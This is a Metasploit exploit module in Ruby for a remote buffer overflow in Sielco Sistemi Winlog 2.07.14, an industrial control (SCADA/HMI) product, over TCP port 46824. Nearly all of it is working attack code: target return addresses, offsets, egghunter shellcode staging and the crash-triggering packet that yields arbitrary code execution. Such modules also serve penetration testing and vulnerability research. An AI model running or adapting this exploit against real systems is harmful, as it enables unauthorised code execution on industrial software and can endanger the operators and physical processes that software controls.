Sielco Sistemi Winlog Buffer Overflow 2.07.14

`##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = NormalRanking  
  
include Msf::Exploit::Remote::Tcp  
include Msf::Exploit::Remote::Egghunter  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Sielco Sistemi Winlog Buffer Overflow 2.07.14',  
'Description' => %q{  
This module exploits a buffer overflow in Sielco Sistem Winlog <= 2.07.14.  
When sending a specially formatted packet to the Runtime.exe service on port 46824,  
an attacker may be able to execute arbitrary code.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'm-1-k-3 <m1k3[at]s3cur1ty.de>'  
],  
'References' =>  
[  
[ 'BID', '53811'],  
[ 'URL', 'http://www.s3cur1ty.de' ],  
[ 'URL', 'http://www.sielcosistemi.com/en/download/public/winlog_lite.html' ]  
],  
'DefaultOptions' =>  
{  
'ExitFunction' => 'process',  
},  
'Platform' => 'win',  
'Payload' =>  
{  
'Space' => 2000,  
'BadChars' => "\x00",  
'DisableNops' => true,  
},  
'Platform' => 'win',  
'Targets' =>  
[  
[ 'Sielco Sistemi Winlog 2.07.14 - Ceramics Kiln Project',  
{  
'Ret' => 0x405153df,  
'Offset' => 167,  
}  
], # Jmp ESP - Vclx40.bpl - 0x405153df  
[ 'Sielco Sistemi Winlog 2.07.14 - Automatic Washing System Project',  
{  
'Ret' => 0x405153df,  
'Offset' => 151,  
}  
], # Jmp ESP - Vclx40.bpl - 0x405153df  
#The reliability depends on the actual project. We need to generate some more  
#targets. Two of them for the default project and one other project is now available.  
],  
'Privileged' => false,  
'DisclosureDate' => 'Jun 04 2012',  
'DefaultTarget' => 0))  
  
register_options([Opt::RPORT(46824)], self.class)  
end  
  
def exploit  
connect  
  
egghunter,egg = generate_egghunter(payload.encoded, payload_badchars)  
  
print_status("Placing the shellcode")  
shellcode = rand_text_alpha(2000)  
shellcode << egg  
sock.put(shellcode)  
  
select(nil,nil,nil,1)  
  
buffer = rand_text_alpha(20)  
buffer << "\x14" * 10 #trigger the crash  
buffer << rand_text_alpha(target['Offset'])  
buffer << [target.ret].pack('V')  
buffer << egghunter  
buffer << rand_text_alpha(69 - egghunter.length)  
  
print_status("Trying target #{target.name}...")  
sock.put(buffer)  
  
handler  
disconnect  
  
end  
end  
`